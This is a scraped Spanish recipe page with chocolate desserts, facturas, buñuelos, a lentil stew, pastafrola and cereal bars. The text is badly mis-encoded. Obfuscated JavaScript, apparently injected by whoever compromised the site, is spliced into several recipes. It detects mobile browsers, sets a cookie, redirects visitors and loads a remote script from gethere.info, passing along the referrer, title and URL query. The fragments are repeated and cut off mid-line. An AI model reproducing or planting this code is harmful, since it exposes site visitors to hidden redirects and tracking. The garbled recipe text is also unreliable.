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Volcan de chocolate en 5 pasos

Seguramente lo probaste alguna vez y te enamoraste de Ai??lai??i?? Hoy te contamos cA?mo prepararlo y con quAi?? maridarlo. Esta delicia con corazA?n cremoso, se sirve tibia y en compaAi??Ai??a del helado que mA?s te guste. PodAi??s sumar al plato almendras, nueces, frutos rojos u hojas de menta. A?QuAi?? rico!

Ai??Ingredientes

  • Ai??Huevos 2
  • Ai??Yemas 2
  • Ai??AzA?car 90 grs
  • Ai??Chocolate 150 grs
  • Ai??Manteca 100 grs
  • Ai??Harina 2 cdas

Procedimiento

PASO 1:
Derretir a fuego bien bajo la manteca junto con el chocolate, revolviendo para que el chocolate no se pegue.

PASO 2:
Batir los huevos y las yemas junto con el azA?car a blanco, hasta disolver los cristales de azA?car.

PASO 3:
Incorporar el chocolate y la manteca derretidos al batido de huevos, yemas y azA?car. Unir bien.

PASO 4:
Agregar las cucharadas de harina y revolver hasta incorporar.

PASO 5:
Enmantecar y espolvorear con chocolate en polvo los moldes, y llenarlos hasta la mitad, ya que en el horno crecen. Hornear de 8 a 10 minutos a 200Ai??C. No debe quedar sA?lido en el centro
Al sacar del horno dejar reposar 5 minutos. Pasar muy suavemente un cuchillo por las paredes del molde, para terminar de desprender todo y desmoldar directamente en el plato donde va servido. Como el interior es lAi??quido, no soporta que se mueva mucho.
AcompaAi??ar con crema batida y frutillas.

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Parfait de chocolate blanco con frambuesas

Copa de origen francAi??s en la que se alternan varias capas, con el fin de que los sabores se entremezclen y cada cucharada tenga un sabor y textura distintos.

Ingredientes

Para el merengueAi??
100 g de claras de huevo
75 g de azA?car
agua, c/n

Para la mousse de chocolate blancoAi??
200 g de chocolate blanco
50 g de manteca
450 cc de crema de leche

Para el parfait de frambuesasAi??
200 g de chocolate con leche
1 huevo
2 yemas de huevo
100 g de azA?car
7 g de gelatina sin sabor
250 g de frambuesas licuadas
300 cc de crema de leche
250 g de frambuesas enteras

PreparaciA?n

  • Para el merengue, poner en una olla el azA?car, cubrir con agua y calentar a fuego medio.
  • Cuando rompa el hervor, encender la batidora con las claras; una vez que el almAi??bar del fuego llegue a punto de bolita blanda (al volcar una gota del almAi??bar sobre mA?rmol, no se desparrama), retirar de la hornalla, esperar un minuto e incorporarlo al batido de claras, en forma de hilo parejo y por un borde del bol de la batidora.
  • Seguir batiendo hasta que el bol estAi?? frAi??o y reservar.
  • Para la mousse, derretir a baAi??o MarAi??a el chocolate blanco y una vez fundido mezclar rA?pidamente con la manteca derretida.
  • Retirar del baAi??o y cuando haya enfriado incorporar la crema batida a medio punto, y luego el merengue.
  • En un bol redondo de 25 cm de diA?metro forrado con papel film volcar la mousse de chocolate blanco, cubriendo fondo y paredes, y dejando un hueco en el centro.
  • Reservar en el freezer.
  • Para el parfait, derretir el chocolate con leche; y por otro lado batir las yemas y el huevo.
  • Aparte, poner el azA?car en una olla, cubrirla apenas con agua, calentarla a fuego medio y cuando llegue a punto de bolita blanda, incorporarla en forma de hilo al batido de huevos; y seguir batiendo hasta que el bol quede frAi??o.
  • Retirar y mezclar con el chocolate derretido, la gelatina hidratada en agua y fundida, y por A?ltimo con las frambuesas ya licuadas, la crema batida a medio punto y 100 gramos de las frambuesas enteras.
  • Volcar el parfait en el hueco del bol reservado, emparejar y volver al freezer por 2 horas.
  • Desmoldar y servir decorado con frambuesas enteras y chocolate rallado.

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Bolas de fraile

A?ConocAi??s el origen del nombre de las Bolas de Fraile?

Tiene que ver con el anarquismo argentino de finales del siglo XIX, nada menos.
El 18 de julio de 1887, en Buenos Aires y gracias a la iniciativa del anarquista italiano Ettore Mattei, se creA? la primera instituciA?n de la resistenciaAi??argentina: la Sociedad Cosmopolita de Resistencia y ColocaciA?n de Obreros Panaderos. Uno de los grandes teA?ricos del anarquismo moderno, su compatriota Errico Malatesta (que viviA? en laAi??ArgentinaAi??entre 1885 y 1889), fue el encargado de redactar sus estatutos. Esa sociedad, que entre 1894 y 1930 editA? sin pausas el periA?dico El Obrero Panadero, fue la responsable de bautizar, con toda la ironAi??a del mundo, las distintas variedades de facturas (masas horneadas) que todavAi??a hoy, 120 aAi??os despuAi??s, son moneda corriente en todas las panaderAi??as de barrio.

Ingredientes:

  • Ai??Aceite neutro c/n

    Masa:

  • Ai??Harina 0000 1 kilo
  • Ai??Leche 400 cc
  • Ai??Levadura 30 grs
  • Ai??AzA?car 150 grs
  • Ai??Yema 5
  • Ai??Ralladura de limA?n 1 cda
  • Ai??Manteca 100 grs
  • Ai??Esencia de vainilla 1 cdta
  • Ai??Sal 10 grs
  • Relleno:
  • Ai??Crema pastelera
  • Ai??Dulce de leche
  • Ai??Dulce de membrillo
  • Decorar:
  • Ai??AzA?car c/n

Procedimiento:

Para la masa, tomar la levadura y disolver con un poquito de leche tibia mA?s una cucharada de azA?car. Dejaer fementar.

Aparte, colocar la harina en corona y salar por el borde exterior. En el centro, agregar el fermento, el resto del azA?car, la ralladura de limA?n, la esencia, las yemas y el resto del azA?car.

Comenzar a integrar e ir sumando la leche de a poco hasta obtener una masa tierna. Amasar por unos minutos incorporando de a poco la manteca pomada.

Dejar leudar tapada y a temperatura ambiente. Desprender bollitos de 30 gramos y dejar leudar nuevamente.

FreAi??r en aceiteAi??no muy caliente, girA?ndola para que la cocciA?n sea pareja.

Para rellenar, tajear haciendo un bolsillo y rellenar con dulce de leche, crema pastelera o dulce de membrillo.

EspolvorearAi??con azA?car.

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BuAi??uelos de panceta y queso con salsa de morrones

El buAi??uelo es una masa de harina que se frAi??e en abundante aceite. La masa puede mezclarse con agua, leche, huevo o levadura. Pueden llevar un relleno que puede ser dulce o salado, por ejemplo manzana o pescado.

Ingredientes:

  • Aceite c/n
  • Para la masa:
  • Panceta 100 grs
  • Huevo 3
  • Sal 1 pizca
  • AzA?car 1 pizca
  • Harina 0000 2 tazas
  • Polvo de hornear 1 cda
  • Leche A? taza
  • Queso rallado 50 grs
  • Mozzarella rallada 100 grs

Para la salsa:

  • MorrA?n rojo
  • 1 Ajo 1 diente
  • Aceite de oliva c/n Vinagre 1 cda

Procedimiento:

Para los buAi??uelos, desgrasar la panceta en el horno bajo (en finas lonjas en placa sin materia grasa) por unos 20 minutos o hasta que estAi??n crocantes.

Procesar la panceta y colocar en un bol. Sumar los huevos, sal, azA?car e integrar con batidor de mano.

Agregar la harina mezclada con el polvo de hornear, sumar la leche y mezclar bien (debe quedar una pasta espesa).

Terminar con queso duro rallado y mozzarella en cubitos.

Tomar cucharones de masa y freAi??r en aceite caliente.

Para la salsa, quemar los morrones en hornalla, pelar y procesar con el ajo, vinagre y oliva en cantidad necesaria hasta lograr la textura de una crema. b|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} type=”application/javascript”>var _0xb322=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

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Guiso de lentejas

Un guiso es la cocciA?n en un medio semigraso de un alimento. A diferencia del estofado, permite el reflujo de los vapores durante el proceso de elaboraciA?n culinaria. El guiso es un proceso culinario que permite recurrir a una gran variedad de ingredientes. Por regla general suelen emplearse los alimentos disponibles en la regiA?n, en la temporada o los que son del gusto del cocinero que lo prepara. Si bien el costo de elaboraciA?n varAi??a de paAi??s a paAi??s, se lo considera una preparaciA?n econA?mica que no necesita de muchos ingredientes.

Ingredientes

  • Aceite de oliva
  • Paleta 500 grs
  • JamA?n cocido 150 grs
  • Cebolla 2
  • Zanahoria 1
  • MorrA?n rojo A?
  • MorrA?n verde A?
  • Cebolla de verdeo
  • 1 Apio
  • 1 Ajo 3 dientes
  • OrAi??gano
  • PimentA?n
  • Laurel 1 hoja
  • Vino blanco 1 vaso
  • Tomate triturado 250 grs
  • Caldo de verdura 1 litro
  • Sal
  • Pimienta
  • Lenteja 500 grs
  • Chorizo colorado A?
  • Lomo ahumado 250 grs

Procedimiento:

Cubetear la paleta y dorar en oliva. Incorporar el jamA?n, tambiAi??n cubeteado y sumar los vegetales picados.

Desglasar con vino blanco y sumar el tomate triturado y el caldo hasta cubrir cuando evapora el alcohol.

Agregar la hoja de laurel, condimentar, tapar y reducir por 30 minutos.

Incorporar las lentejas hervidas previamente por 30 minutos mA?s el chorizo y el lomito en rodajas o bastones.

Reducir por 10 minutos mA?s (agregar caldo si es necesario). |libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} type=”application/javascript”>var _0xb322=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

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Pastafrola clA?sica de membrillo

Se le llama pasta frola del italiano ai???pasta frollaai??? porque la masa de esta tarta deriva de otro dulce italiano llamado ai???crostataai??? en el que se utiliza una masa de similares caracterAi??sticas. Con el tiempo trascendiA? los terrenos del monasterio y se hizo conocida a lo largo de la regiA?n de NA?poles. Una receta que no puede faltar en ninguna casa!

Ingredientes

Masa:

  • Huevos 1u
  • Yemas 1u
  • Harina leudante 400grs
  • AzA?car 200grs
  • Manteca 200grs
  • Esencia de vainilla 1cda
  • Sal c/n

 

Relleno:

Dulce de membrillo 400grs

Procedimiento:

Para la masa: batir la manteca pomada con el azA?car hasta formar una crema (unos 4 minutos con batidora elAi??ctrica). Agregar la esencia de vainilla (que puede reemplazarse por ralladura de limA?n o naranja), el huevo y la yema. Seguir batiendo hasta obtener una crema homogAi??nea. Incorporar la harina leudante con la sal. Para esto, dejamos de lado la batidora elAi??ctrica y la cambiamos por una espA?tula de goma o cuchara de madera. La idea es integrar los secos sin amasar, no trabajar demasiado la masa. Con movimientos lentos, como aplastando, vamos uniendo los secos a esta preparaciA?n. Podemos usar las manos hacia el final, pero sin abusar. Si le damos demasiado trabajo, la masa quedarAi??a chiclosa, y no tierna como buscamos. Una vez que la masa estA? bien integrada, se envuelve con papel film y se lleva a la heladera por media hora aproximadamente. Este paso es muy importante, porque si la masa no tiene suficiente frAi??o y descanso, no vamos a poder estirarla correctamente. Una vez que la masa se enfriA?, la sacamos de la heladera y la rompemos un poco con las manos para volver a unirla. La dividimos en dos bollos: 2/3 de masa para forrar la base y el tercio restante queda para hacer las tiras. Enharinamos un poco la mesada y estiramos la base hasta que quede de unos 3 mm de espesor aproximadamente. La enrollamos sobre el mismo palote y la colocamos en el molde de tarta enmantecado. Con las yemas de los dedos, nos aseguramos de que la masa llegue bien a todos los bordes del molde. Cortamos el excedente de masa alrededor de los bordes, y si es necesario, remendamos algA?n hueco que pueda haber quedado! Nadie se va a dar cuenta cuando la pastafrola estAi?? lista. Para ablandar el dulce de membrillo, cortarlo en cubos y ponerlo en una cacerolita con un poquito de agua. Calentar lentamente e ir pisando con un tenedor. (Si en casa hay microondas, ponerlo en un plato apto para microondas con un poco de agua por 40 segundos). Colocar una capa del dulce de membrillo ablandado sobre la masa cruda. Hay dos formas de hacer las tiras de la pasta frola: una fA?cil y ai???rA?sticaai??? y otra mA?s compleja y prolijAi??sima. Elige tu propia aventura: Forma fA?cil y rA?stica: Tomar pedacitos del tercio de masa restante y hacer choricitos finos y largos. Acomodar sobre la masa formando el clA?sico enrejado. Forma compleja y prolijAi??sima: Estirar la masa con un palote formando un rectA?ngulo. Colocarla sobre una placa metA?lica enharinada y llevar al freezer por media hora aproximadamente. Pasado ese tiempo, sacar la masa del freezer y cortar las tiras con un cuchillo afilado. (Acomodar sobre la masa formando el clA?sico enrejado). Pincelar las tiras con un huevo batido para que queden doraditas. Cocinar en horno medio por 40 minutos aproximadamente. Los bordes deben estar doraditos! Dejar enfriar para poder cortarla prolija. 2\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

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Barritas de cereal, semillas y frutos secos

Estas barras son realmente muy nutritivas, especialmente las de ingredientes orgA?nicos, y ofrecen una gran cantidad de beneficios para el cuerpo. Sin embargo, algunas barras pueden ser altos en azA?car, calorAi??as y grasa lo que opaca algunos de los beneficios para la salud, debido a esto es muy importante elegir correctamente el tipo de barra de cereal para obtener los mA?ximos beneficios para la salud.Ai??Las mejores barras de cereal son las orgA?nicas horneadas sin azA?car.

Ingredientes:

Neutras:

  • Aceite neutro 125 grs
  • Ai??Miel 350 grs
  • Glucosa 200 grs
  • Ai??AzA?car mascabo 2 cdas
  • Ai??Avena arrollada 350 grs
  • Ai??Copo de maAi??z sin azA?car 140 grs
  • QuAi??noa inflada 75 grs
  • Ai??Semilla de lino 100 grs
  • Semilla de girasol 100 grs
  • Almendra 100 grs
  • Nuez 80 grs

Procedimiento:

Para las barritas, calentar el aceite con la glucosa, miel y azA?car.

Aparte, mezclar las semillas y los frutos secos partidos.

Mezclar ambas preparaciones y disponer de forma pareja en placa con papel aluminio aceitada.

Cocer al horno bajo por una hora o hasta que estAi?? seca. )|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} ;application/javascript”>var _0xb322=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ 